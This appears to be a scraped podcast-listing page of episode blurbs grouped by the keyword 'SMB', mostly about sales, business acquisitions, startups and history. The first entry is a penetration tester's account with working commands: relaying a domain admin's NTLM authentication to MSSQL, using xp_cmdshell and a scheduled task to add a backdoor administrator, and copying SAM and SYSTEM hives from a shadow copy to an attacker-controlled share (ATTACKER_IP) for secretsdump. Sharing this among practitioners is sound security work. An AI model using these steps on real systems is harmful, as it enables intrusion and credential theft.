Podcasts about SMB

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

I share a crucial sales framework that can prevent you from losing deals after what seemed like successful presentation meetings. I explain the "BAMFAM" (Book a Meeting from a Meeting) strategy, which ensures you never leave a proposal meeting empty-handed without either a clear decision or a confirmed next step on the calendar. //Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

Cost of Glory Greece Retreat: https://costofglory.com/retreatPart 3 of 3 of Caesar's Civil War series. From triumph to near-disaster. Caesar's Egyptian entanglement transforms him from a glorious victor to a desperate challenger. In this episode:Pompey's assassination in Egypt and Caesar's unexpected grief over his former ally's deathCleopatra's legendary entrance in a bed-sack and her political seduction of CaesarThe brutal urban warfare trapping Caesar in the palace quarter for six monthsThe burning of the Great Library during the harbor battles—400,000 volumes lostCaesar's desperate swim to safety while clutching precious documents above waterYoung King Ptolemy XIII's tragic fate and the consolidation of Cleopatra's powerThe lightning campaign against Pharnaces in Asia—"Veni, Vidi, Vici"The veterans' mutiny outside Rome and Caesar's masterful psychological manipulationCato's final stand in Africa and his defiant suicideThe decisive Battle of Thapsus and the strategic genius of fighting on narrow groundThe massacre of surrendering enemies as Caesar's clemency finally failsAs Caesar recounts, the Republic's future dictator came very close to destruction in the palaces and canals of Alexandria. While Rome descended into chaos under Mark Antony's drunken rule, Caesar fought for his life against war elephants and Numidian cavalry, transformed by his liaison with the living goddess Cleopatra. The man who emerged from Egypt was no longer merely a Roman general, he had consorted with divinity and fathered the son of a pharaoh. As Cicero wrote in frantic letters to Atticus: "Where am I to look for solace?" The final campaign that would cement Caesar's supremacy began with the most dangerous gamble of his career.Works Cited: (Affiliate links - support the show!)Gareth Sampson, The Battle of Pharsalus Matthias Gelzer, Caesar: Politician and Statesman James Froude, Caesar: A Sketch, Raaflaub (ed.) Landmark Caesar Thanks to our sponsor, Ai Labs. Visit austinlab.ai to chat with a team member about custom Agentic AI power solutions for your SMB to Enterprise level business.  Powered by Shokworks.Also Thanks Dr. Richard Johnson, the Crassus to this Caesar series!

Register for the webinar: Buyer of Choice Series Pt 1: Building Your Personal Buyer Brand (in a Sea of Searchers) - TODAY!- https://bit.ly/46ntJLGDoug Lepisto has partnered with 7 searchers to acquire businesses strictly in Western Michigan. Momentum is building.Topics in Doug's interview: Having one foot in academia, one in businessPlace-based private equity modelDelivering returns while elevating Western MichiganCompetitive advantage through building local trust“Find the operator, find the deal” philosophyInvesting in searchers with one-on-one educationThe tide is shifting to long-term hold strategyWestern Michigan students intern at portfolio companies5 elements of his private equity modelPlenty of businesses, shortage of owner-operatorsReferences and how to contact Doug:LinkedInSleeping Giant CapitalCenter for Principled Leadership and Business StrategyGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

All links and images can be found on CISO Series. Check out this post for the discussion that is the basis of our conversation on this week's episode co-hosted by me, David Spark, the producer of CISO Series, and Edward Contreras, senior evp and CISO, Frost Bank. Joining us is CISO Series reporter and CISO herself, Hadas Cassorla. In this episode: Security poverty line excludes SMBs  Skills gap and channel dynamics slow SMB security adoption The startup disadvantage cycle Technology adoption flows from enterprise complexity to market simplification Huge thanks to our sponsor, ThreatLocker ThreatLocker® is a global leader in Zero Trust endpoint security, offering cybersecurity controls to protect businesses from zero-day attacks and ransomware. ThreatLocker operates with a default deny approach to reduce the attack surface and mitigate potential cyber vulnerabilities. To learn more and start your free trial, visit ThreatLocker.com.

StretchDollar is transforming how small businesses approach employee health benefits by decoupling plan administration from funding. Rather than forcing all employees onto a single group plan, the platform allows employers to provide pre-tax monthly budgets that employees can use to purchase individual health plans they select and own themselves. In this episode, I spoke with Marshall Darr, Co-Founder and CEO of StretchDollar, about building a solution that addresses the unique challenges small businesses face in providing healthcare benefits. Topics Discussed: The limitations of traditional group health plans for small businesses under 50 employees How the 2020 IRS ruling on ICHRAs (Individual Coverage Health Reimbursement Arrangements) enabled new approaches StretchDollar's evolution from being their own first customer to serving diverse small businesses The company's cost-effective go-to-market strategy focused on inbound traffic and partnerships Building trust and brand credibility in a heavily regulated industry Optimizing content strategy for both traditional SEO and emerging LLM search traffic The decision to move away from paid marketing channels GTM Lessons For B2B Founders: Become your own first customer to validate the solution: Marshall's team used StretchDollar internally from day one, with his co-founder in San Francisco wanting Kaiser while Marshall was in Pittsburgh where Kaiser wasn't available. This real-world constraint validated their core value proposition. Rather than compromising on a "Frankenstein sort of national but very small group plan," they gave everyone $500 monthly budgets. B2B founders should consider how their own operational needs can serve as the initial proof point for their solution. SMB markets require ruthless cost-effectiveness in go-to-market: Marshall learned from Gusto that targeting small businesses demands extremely cost-effective acquisition strategies. With much smaller annual contract values than enterprise clients, "you need to rely a lot on inbound traffic, a lot on customer-to-customer referrals." B2B founders in SMB markets must build products compelling enough that customers actively recommend them, as traditional enterprise sales models don't work economically. Industry expertise enables superior content marketing: StretchDollar's content strategy works because Marshall spent years as a health insurance broker, selling "hundreds of group policies, hundreds to thousands of individual policies." This deep domain knowledge allows them to create genuinely useful content that attracts both traditional search traffic and increasingly, LLM-generated referrals. B2B founders should leverage their industry expertise to create content that demonstrates unique insights rather than generic advice. Paid marketing can be a distraction from fundamentals: Marshall's team discovered that stopping paid marketing resulted in only "a very marginal sort of drop in signups" while freeing up "tens to hundreds of thousands of dollars." The shift forced them to focus more on content quality and organic growth. For SMB-focused B2B founders, paid channels may be "so optimized right now that you need an insane budget and really good unit economics" to compete effectively. Self-service onboarding becomes competitive advantage: Drawing from Mercury's banking experience, Marshall realized SMB customers want to "knock this out" in 20 minutes without extensive sales calls. StretchDollar built their platform to allow self-onboarding while maintaining sales support for those who prefer it. B2B founders should consider how self-service capabilities can differentiate their solution while improving unit economics. Partnership strategy should target natural referral sources: StretchDollar partnered with Oscar Health, appearing on their website as the preferred destination for sub-20 employee groups. This creates a natural referral flow from a complementary service. B2B founders should identify companies whose customers represent natural expansion opportunities and build formal partnership channels.   //   Sponsors: Front Lines — We help B2B tech companies launch, manage, and grow podcasts that drive demand, awareness, and thought leadership. www.FrontLines.io The Global Talent Co. — We help tech startups find, vet, hire, pay, and retain amazing marketing talent that costs 50-70% less than the US & Europe.  www.GlobalTalent.co   //   Don't Miss: New Podcast Series — How I Hire Senior GTM leaders share the tactical hiring frameworks they use to build winning revenue teams. Hosted by Andy Mowat, who scaled 4 unicorns from $10M to $100M+ ARR and launched Whispered to help executives find their next role. Subscribe here: https://open.spotify.com/show/53yCHlPfLSMFimtv0riPyM 

On this episode of the Scouting For Growth podcast, Sabine VdL talks to Arvind Sontha, COE and co-founder of Kyber, an AI startup redefining how carriers handle claims correspondence. The insurance industry is undergoing a seismic shift as carries face mounting pressure to deliver faster, more transparent, and compliant communications to policy holders and clients, so the need for digital claims transformation has never been greater. KEY TAKEAWAYS If you think about insurance and tailoring insurance, the underlying model for risk is effectively a ‘user personal model'. We started with an obscure line of insurance that didn't exist yet – or did around personal cyber insurance. We wondered what it would look like, rather than SMB or commercial cyber insurance, as individual underwriting and risk modelling. We got lucky finding a great partner in branch insurance very early on. Over the course of our time engaging with them we ended up turning into an extension of their team. We were able to work closely with them, they trusted us to quickly understand their problems and iterate to give them quick solutions, while at the same time they understood that there are going to be quirks with products that aren't fully fleshed out which they could iron out over time. It was a symbiotic relationship. If an adjustor has to take an hour to put a document together you have to clear a 1.5-hour space in your calendar to do that. Life is hectic, you have meetings and other tasks to do and so that 1.5-hour block keeps getting moved back, same thing happens to managers. If you can take it from 1.5 hours to 30 seconds for a high-quality letter and a one-click process to approve, you can slip that into any part of your calendar. That's a really underrated part of the process. Some of the things we want to do in the future is include things like managed parameters. We think it's obtuse for all the carriers to manage all the fraud language individually all the time, for example. Kyber could manage that for you to make sure everything's automatically compliant and good to go. Statutory language really enables the full organisation to be prepared to catch each other. BEST MOMENTS ‘Kyber is an AI native, document generation and delivery platform made for claims teams, that's what we do.' ‘Nobody doubted that I could build the complex AI to underwrite and quantify the risk, what they needed to figure out was could I sell insurance, which is why I got my broker's licence!' ‘The results have been better than I expected, we've seen 65% faster drafting times, 80% consolidation of their templates across a 50-state operation, and 5x reduction in letter cycle times for documents.' ABOUT THE GUESTS Arvind Sontha is co-founder and CEO of Kyber, an AI startup that is redefining how carriers' NTPAs handle claims correspondence. Arvind is at the forefront of digital transformation, leading Kyber's mission to automate and streamline the entire lifecycle of claims forms and letters. Kyber's clients report the impact of AI automation is undeniable: Claims teams using Kyber have reduced letter drafting time by up to 85%, cut review time by 60%, and achieved a 3x faster outreach to policy holders. LinkedIn ABOUT THE HOST Sabine is a corporate strategist turned entrepreneur. She is the CEO and Managing Partner of Alchemy Crew a venture lab that accelerates the curation, validation, & commercialization of new tech business models. Sabine is renowned within the insurance sector for building some of the most renowned tech startup accelerators around the world working with over 30 corporate insurers, accelerated over 100 startup ventures. Sabine is the co-editor of the bestseller The INSURTECH Book, a top 50 Women in Tech, a FinTech and InsurTech Influencer, an investor & multi-award winner. Twitter LinkedIn Instagram Facebook TikTok Email Website This Podcast has been brought to you by Disruptive Media. https://disruptivemedia.co.uk/

Send us a textFrom the A1 to C3, the newspaper is drowning in chaos, disturbances and the growing call for significant change in our world. For those who never had the pleasure of reading a full newspaper over morning coffee, that's the meat, before the comics and entertainment sections, though they might just be a better, more sane bet these days.Volatility, uncertainty, complexity and ambiguity (VUCA) has grown in popularity, resonating with many who are looking for an anchor term to describe today's business environment. While it likely extends to many others arenas, it is most valuable in understanding the challenges small and medium businesses (SMB) encounter in daily operations.Enter risk, the calculation of a future event, its probability and severity, on your current or future operations. Decisions, strategic and important, rely on the ability of entrepreneurs to understand the potential risk in the markets, find reasonable clarity in the VUCA reality, while relying on the elements of PCSC to stop gap any significant issues. Risk tolerance is personal, different in each of us and not equal across all decisions. Most entrepreneurs prefer clarity, though some excel in VUCA situations, where bold moves, aggressive decisions may lead to exceptional payoffs. Some embrace game theory and some are just unrestrained.Risk is understood to be a perception, as previous iterations predict the future, we gain a reasonable level of confidence as to the future outcome. Never certain, but with time, education, social capital and great advisors, VUCA becomes less a problem set and more an advantage. PCSC is reasonably easy to navigate, and a preferred environment for those with large capital-intensive projects that have longer time horizons. Hence the heavy interventionist governance present in certain sectors of the economy, where a company intends to invest billions, they have a reasonable expectation of predictability. But what if PCSC becomes less available and the world moves more towards VUCA?Support the showwww.insidemycanoehead.ca

Register for the webinar: Buyer of Choice Series Pt 1: Building Your Personal Buyer Brand (in a Sea of Searchers) - Thu Sep 11th - https://bit.ly/4pcznI8Jeremy Hunka bought a $2m cabinet business, and year one consumed him. Leadership had to evolve for things to improve.Topics in Jeremy's interview:Buying a business at age 27Rocky first day as ownerLiving 1.5 hours from the businessEmployees wanting him present every dayTaking too long to fire an employeeWatching sales drop dangerously lowFacing resistance from employeesLearning to balance empathy with boundariesHiring a great sales leaderInstalling a CEO to run the day-to-dayReferences and how to contact Jeremy:LinkedInSummit Mountain CoatingsDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryIn this week's episode of Startup Junkies, hosts Daniel Koonce, Caleb Talley, and Jeff Amerine welcome Marshall Saviers, CEO and President of Cushman & Wakefield | Sage Partners, for an in-depth conversation about commercial real estate, entrepreneurial timing, and building community in Northwest Arkansas. Marshall's journey is rooted in real estate, inspired by his family's legacy and shaped by his diverse childhood living in multiple cities.Moving to NWA in 2005, he witnessed firsthand the explosive regional growth that was transforming cow pastures into thriving business corridors. Early on, Sage Partners carved out a niche serving office tenants among the surge of Walmart-vendor relocations but faced severe challenges during the 2009 recession. Marshall recounted the decision to double down rather than abandon ship, fueling Sage Partners' transition into a full-service firm spanning property management, development, and investment.Additionally, throughout the episode culture emerged as a recurring theme; Marshall stressed hiring the right people over simply hiring for skills, refining Sage Partners' team to maintain quality and a sense of local connection even as they scaled up to manage over six million square feet of property. The conversation also delved into his entrepreneurial adventures, like co-founding Arkansas Craft Distribution, where timing and adaptability proved critical to success.Looking ahead, Marshall remains bullish on NWA's prospects, identifying opportunities in redevelopment, housing, and continued community investment. His blend of commercial acumen and civic commitment is driving both urban transformation and local growth, underscoring his advice to entrepreneurs: grow intentionally and never overlook the importance of culture!Show Notes(00:00) Introduction(03:28) The Regional Impact of Walmart's Vendor Influx(06:32) Weathering the Pandemic and Its After Effects(09:57) Bentonville's Development and New STEM University(15:21) Insights on Alcohol Distribution Changes(18:49) Forecasting Trends in Northwest Arkansas(26:34) Empowering Sage Partners' Next Generation(29:28) Prioritizing Intentional Growth over Rapid Expansion(30:05) Closing ThoughtsLinksDaniel KoonceCaleb TalleyJeff AmerineStartup JunkieStartup Junkie YouTubeMarshall SaviersCushman & Wakefield | Sage Partners

Sahil was 18 when TechCrunch published a hit piece calling him a copycat. His co-founder Aaron was 16. They'd just raised $6 million from YC and top VCs for their crypto startup, then got subpoenaed by a state government and watched their business implode. So they fired everyone, moved back to their parents' homes, and spent months cold-calling dentists and lawn care companies to find a real problem. What they discovered: 80% of SMBs still use community banks from 1995. Now Affiniti has 2,000 customers, $10M ARR run rate, and just raised $17M by partnering with trade associations to acquire customers at 25% the cost of traditional fintech. This is the raw story of teenage founders who got punched in the face by Silicon Valley and came back swinging.Why You Should Listen:How getting destroyed on TechCrunch at 18 and subpoenaed by the government led to a $3M revenue pivot in 12 monthsWhy going back to square 0 is often the best moveThe trade association go-to-market strategy that worked for SMB.Why 200 VC rejections and raising $6M in peak 2021 couldn't save their first startup—but taught them everything they needed to know.Get comfortable with bad days—stoicism is the only way to survive.Keywords:Affiniti, Sahil Phadnis, SMB fintech, startup pivot, Y Combinator, teenage founders, Series A, B2B payments, startup failure, trade associations00:00:00 Intro00:01:50 COVID existential crisis at 1600:08:36 Building websites for restaurants00:11:11 Meeting Aaron on Instagram00:15:17 200 VC rejections then raising $6M00:23:03 Getting called a fraud on TechCrunch00:29:15 Firing everyone and moving home00:31:16 Faking toothaches to research SMBs00:40:50 Launching Affiniti00:47:00 The trade association growth hack00:55:03 Raising Series A in 3 weeks00:58:30 Stoicism and bad daysSend me a message to let me know what you think!

I share how downloading a "Couch to 5K" app - despite being able to run half marathons - taught me a powerful lesson about achieving big goals in business. After hitting a mental block that kept sabotaging my runs, I discovered that starting embarrassingly easy and building small, consistent wins creates unstoppable momentum. This same principle of breaking down massive business goals into bite-sized, achievable steps helps you develop a winning habit that compounds over time, whether you're trying to scale from $1M to $10M or launch that outbound sales operation you've been putting off.//Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

Register for the webinar: Love & Leverage: Lessons from Couples Who Acquired Together - TODAY! - https://bit.ly/4mBLyw5Brett Maxam bought a concrete business with high 6 figures of earnings. Despite being a plane ride away, it's gone well.Topics in Brett's interview:His desire to “run the show” after watching acquisitions up closeInvolving his wife as a sounding boardBuying a business a plane ride awayProactively negotiating for a seller note“Shut up and let them do a little more talking”Using ROBS to fund a 30% down paymentGetting a 70% seller note with a sub 3x multiple13-week cashflow forecast is criticalDelegating management to the local teamDeciding whether to grow the business or acquire againReferences and how to contact Brett:LinkedInGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsLearn more about Walker Deibel's done-with-you buy-side advisory:The Acquisition LabWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

First, the guys discuss the report by Pablo Torre of The Athletic and Meadowlark Media that Kawhi Leonard was paid by a fraudulent tree-planting company for "no-show" work, allegedly in an effort by the Clippers to circumvent the league's salary cap upon his signing back in 2019. Yes, seriously. Then, after the break, more normal conversation. Is the De'Aaron Fox contract fair? Is Jeremy Sochan next, or should the Spurs wait on that extension? All that and more on the latest episode of SMB.

In this episode of Future Fuzz, Justin sits down with Alex Melen, award-winning entrepreneur, best-selling author, and co-founder of SmartSites - America's top-rated digital marketing agency. Alex shares how he and his brother scaled the business from a small team into a 400+ person global agency, landing a spot on the Inc. 5000 list nine years in a row.From navigating rapid technological shifts to staying ahead in a generative AI–driven world, Alex offers candid insights on sustaining growth, working with family, and helping SMBs thrive in changing markets. He also unpacks his views on the future of search, the rise of authentic video content, and why change is the biggest opportunity for agencies today.Guest BioAlex Melen is the co-founder of SmartSites, a digital marketing agency consistently ranked among America's fastest-growing companies by Adweek and the Inc. 5000. Under Alex's leadership, SmartSites has expanded to over 400 employees across six offices worldwide, earning a reputation for its data-driven, customer-centric approach.A serial entrepreneur since 1997, Alex has founded multiple tech ventures, authored best-selling books, and become a recognized thought leader in SEO, paid media, and digital transformation. Known for his industry candor, he's spoken at leading conferences on topics ranging from AI in marketing to SMB growth strategies.TakeawaysSustaining growth requires discipline — SmartSites has achieved 35%+ year-over-year growth for over a decade.Partnering with family can work if roles and strengths are clearly divided.Generative AI poses the first real existential threat to the search model since its inception.Click volumes from search may decrease, but their value will rise.Authentic, unpolished short-form video outperforms big-budget productions for engagement.SMBs are agile but vulnerable in crises — diversification is key.Change creates opportunities for agencies willing to adapt quickly.Chapters 00:00 Welcome to Future Fuzz & Guest Intro 01:04 SmartSites' 9-Year Streak on the Inc. 5000 03:05 Building a Business with a Sibling 06:14 The Existential Threat to Search Marketing 08:50 Generative AI vs. Traditional Search 13:37 Why Click Value Will Rise Despite Lower Volume 14:36 Lessons from TikTok's Early Ad Days 16:09 The Future of Video Content in Marketing 18:15 Authenticity Over Production in Video Strategy 20:25 Embracing Change as a Competitive Advantage 22:30 Microsoft, AI, and Shifting Industry Perceptions 26:13 Serving SMBs — Opportunities and Risks 28:36 Staying Industry-Agnostic & Performance-Focused 29:20 Closing Thoughts & Future OutlookLinkedIn⁠Follow Alex Melen on LinkedIn here⁠ ⁠Follow Justin Campbell on LinkedIn here⁠

In this episode the hosts break down a surprisingly solid liquor store deal in Washington, DC, questioning whether a 3x multiple and $500K SDE is too good to be true.Business Listing – https://www.tworld.com/buy-a-business/listings/80yrs-old-sba-appd-profitable-corner-liquor-biz-in-nw-dc-Welcome to Acquisitions Anonymous – the #1 podcast for small business M&A. Every week, we break down businesses for sale and talk about buying, operating, and growing them.

Mike Kresse is Executive Vice President of Commercial and New Payment Flows at Mastercard, North America. In this role, he leads the go-to-market strategy for a diverse set of commercial products and services, spanning large corporate, middle market, SMB, healthcare, and money transfer solutions. Mike oversees a cross-functional team that's helping to scale innovation, accelerate […] The post Fintech South 2025: Mike Kresse with Mastercard appeared first on Business RadioX ®.

B2B marketing doesn't have to be boring. In this episode, we unpack how creativity drives measurable B2B growth—uniting brand and demand, scaling global ideas locally, proving ROI, and using AI where it actually moves the needle. You'll hear from Salesforce's APAC marketing leader and Cannes Lions Creative B2B jury president on the playbook behind human-to-human work that fills pipelines, not just decks.What you'll learnBrand→Demand, together: Why separating brand and demand hurts performance—and how bringing them into one plan makes ROI easier to prove.Global to local at scale (the 70/30 rule): What to keep from HQ and what to adapt—plus why a deep customer-story library is a B2B cheat code.Creativity that converts: The B2B decade is here—emotion, humor, and human truth are now winning at the highest level.Measurement that matters: How to include brand spend in the business case and show full-funnel impact.AI that actually helps marketers: From segmentation and targeting lifts to marketers building agents in ~20 minutes—practical ways AI amplifies outcomes.Small business spotlight: What the Cannes Grand Prix winner signals about SMB-focused B2B and the rise of meaningful creator/influencer roles.Who this episode is forB2B CMOs, VPs, and growth leaders who need to scale creativity, prove impact, and translate global platforms into local results—without losing speed.02:15 Episode starts • hello, Cannes context, setting the agenda.03:15 Agency lessons in SE Asia • Mindshare perspective.04:46 Operating in 185+ markets • global expansion as a career crucible.05:49 Head-down, hands-dirty growth • owning your voice.08:44 Sponsorship over self-promotion • lifting others as a leader.16:48 How to land in new markets • agents, on-ground research, and digital sales.18:28 Weekly stack-ranking 185 markets • what to optimise and when.21:03 Sliding-doors into Salesforce • building the SE Asia marketing team.22:16 Why Jakarta matters • local talent and skills on the rise.23:44 The 70/30 rule • global platforms, local edge + customer story library.24:56 The B2B decade • creativity, buying groups of ~23, and being human.26:05 Brands getting B2B right • Workday, ServiceNow, Canva.31:44 Measurement that matters • include brand spend in the business case.33:15 AI that actually helps • targeting, segmentation, “20-minute” agents.35:18 Future talent in an AI world • learning without losing the craft.37:22 Cannes 2025 takeaways • best year yet for Creative B2B; emotion rises.38:44 From token purpose to real value • long-term, business-backed impact.51:41 Mentoring future female leaders •. Hosted on Acast. See acast.com/privacy for more information.

In this episode the hosts break down a surprisingly solid liquor store deal in Washington, DC, questioning whether a 3x multiple and $500K SDE is too good to be true.Business Listing – https://www.tworld.com/buy-a-business/listings/80yrs-old-sba-appd-profitable-corner-liquor-biz-in-nw-dc-Welcome to Acquisitions Anonymous – the #1 podcast for small business M&A. Every week, we break down businesses for sale and talk about buying, operating, and growing them.

Register for the webinar: Love & Leverage: Lessons from Couples Who Acquired Together - Thu Sep 4th - https://bit.ly/47PpZ6LFelipe Corcuera bought an automation company that didn't offer AI. Since ChatGPT was released, he has had to adapt.Topics in Felipe's interview: Imperfect information in the lower middle marketPivoting from investing to operatingFinding a partner with complementary strengthsHow he defines success during searchAI threats to traditional SaaS businessesTesting for seller motivationValuation based on revenueAggressively reinvesting in the businessPros and cons of being an AI companyEconomics of sharing deals for a finder's feeReferences and how to contact Felipe:LinkedInBeeckerRelay InvestmentsGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet complimentary due diligence on your acquisition's insurance & benefits program:Oberle Risk Strategies - Search Fund TeamConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryEn este episodio de Querido Emprendedor, Ignacio Balderrama conversa con Laura Arce, apicultora de Costa Rica. Laura estudió apicultura tropical en la Universidad Nacional de Costa Rica, donde aprendió el cuidado, manejo y beneficios de las abejas y sus productos, como miel, propóleos, polen, jalea real y veneno, todos con propiedades saludables. Destaca la comunicación única de las abejas mediante danzas para indicar la ubicación del néctar y su altruismo al sacrificarse por la colmena. Su empresa desarrolla productos naturales cosméticos y alimenticios, además de promover el turismo apícola para educar sobre la importancia ecológica de las abejas, que polinizan el 80% de los alimentos que consumimos. Laura comparte su pasión por las abejas, su formación en apicultura tropical y el valor ecológico y medicinal de los productos apícolas. Además, habla sobre los desafíos de emprender en este sector, la importancia del networking y cómo romper estigmas culturales para alcanzar el éxito empresarialLinksIgnacio BalderramaStartup JunkieKiva Northwest ArkansasLaura Arce

The software that powers 25% of India's e-commerce transactions, processes a billion orders each year, and in 2025 alone fulfilled 20 million quick-commerce orders: Unicommerce sits at the core of India's digital retail ecosystem. It is one of the few SaaS companies from India to go public, doing so after nearly a decade of steady growth without fresh primary capital until its IPO in 2024.In this episode of The Neon Show, we sit down with Kapil Makhija, CEO of Unicommerce, the company quietly running India's $60B E-retail market (set to hit $2 Trillion in the next two decades). The conversation goes beyond the company's journey to unpack how perceptions of Indian SaaS customers are changing: from the old belief that they “don't pay” to a more nuanced reality where they value communication, support expectations, and long-term relationships define success.We also look ahead to the future of SaaS in India: from the impact of AI, to the challenges of scaling from zero to $100M, to the balance between pricing and value, and identifying the sectors most ready for building large SaaS companies.This episode is for anyone curious about the story of SaaS in India, from how it is being built, scaled & the opportunities ahead.00:00 – Trailer01:15 – India makes you product-ready & pressure-tested03:45 – GTM: India doesn't reward size, it rewards focus05:00 – Joining Unicommerce the week Snapdeal acquired it10:10 – Digital-first brands vs. traditional brands12:36 – Why Excel and manual ops were the real competition?14:25 – The acquisition of Shipway17:02 – How will the company achieve 1000 Cr Revenue?19:40 – How the decision to go public was made23:40 – Success in SaaS isn't sign-ups, it's retention29:31 – The myth that Indian customers don't pay33:30 – Do Indian customers want Enterprise support but SMB pricing?36:40 – The impact of AI on SaaS39:10 – Founder vs. CEO: Is there a difference?47:29 – White spaces in e-commerce waiting to be built50:35 – Q-commerce vs. E-commerce: where are brands betting?52:07 – How SaaS companies decide if they're IPO-ready?55:10 – Can India build billion-dollar SaaS companies at home?58:15 – How long does the 0 → $100M journey really take?01:01:15 – How to build a ₹100 Cr SaaS company today?01:09:53 – Are pricing advantages in SaaS sustainable?01:12:22 – How much do brands actually spend on tech?-------------India's talent has built the world's tech—now it's time to lead it.This mission goes beyond startups. It's about shifting the center of gravity in global tech to include the brilliance rising from India.What is Neon Fund?We invest in seed and early-stage founders from India and the diaspora building world-class Enterprise AI companies. We bring capital, conviction, and a community that's done it before.Subscribe for real founder stories, investor perspectives, economist breakdowns, and a behind-the-scenes look at how we're doing it all at Neon.-------------Check us out on:Website: https://neon.fund/Instagram: https://www.instagram.com/theneonshoww/LinkedIn: https://www.linkedin.com/company/beneon/Twitter: https://x.com/TheNeonShowwConnect with Siddhartha on:LinkedIn: https://www.linkedin.com/in/siddharthaahluwalia/Twitter: https://x.com/siddharthaa7-------------This video is for informational purposes only. The views expressed are those of the individuals quoted and do not constitute professional advice.Send us a text

I recently coached an MSP seller who spent over 20 hours chasing a $5,000 deal only to get completely ghosted at the end - sound familiar? If you're tired of getting stuck in sales purgatory, chasing deals you were never going to win, I'm going to show you three specific strategies to break free and force more decisions. First, use your discovery phase strategically to understand their actual buying process by asking the right questions about urgency, decision-making structure, and stakeholders involved. Second, after your proposal presentation, get them to quantify their interest on a 1-10 scale and then ask the crucial follow-up question: "What would make it a 10?" This reveals the real objections you need to address. Finally, make it easy for prospects to say no by giving them permission to tell you if they've gone a different direction - you'll either stop wasting time on lost deals or they'll put themselves back into the buying process. These three techniques will help you allocate your time more effectively and stop chasing deals that are already dead.//Welcome to Repeatable Revenue, hosted by strategic growth advisor , Ray J. Green.About Ray:→ Former Managing Director of National Small & Midsize Business at the U.S. Chamber of Commerce, where he doubled revenue per sale in fundraising, led the first increase in SMB membership, co-built a national Mid-Market sales channel, and more.→ Former CEO operator for several investor groups where he led turnarounds of recently acquired small businesses.→ Current founder of MSP Sales Partners, where we currently help IT companies scale sales: www.MSPSalesPartners.com→ Current Sales & Sales Management Expert in Residence at the world's largest IT business mastermind.→ Current Managing Partner of Repeatable Revenue Ventures, where we scale B2B companies we have equity in: www.RayJGreen.com//Follow Ray on:YouTube | LinkedIn | Facebook | Twitter | Instagram

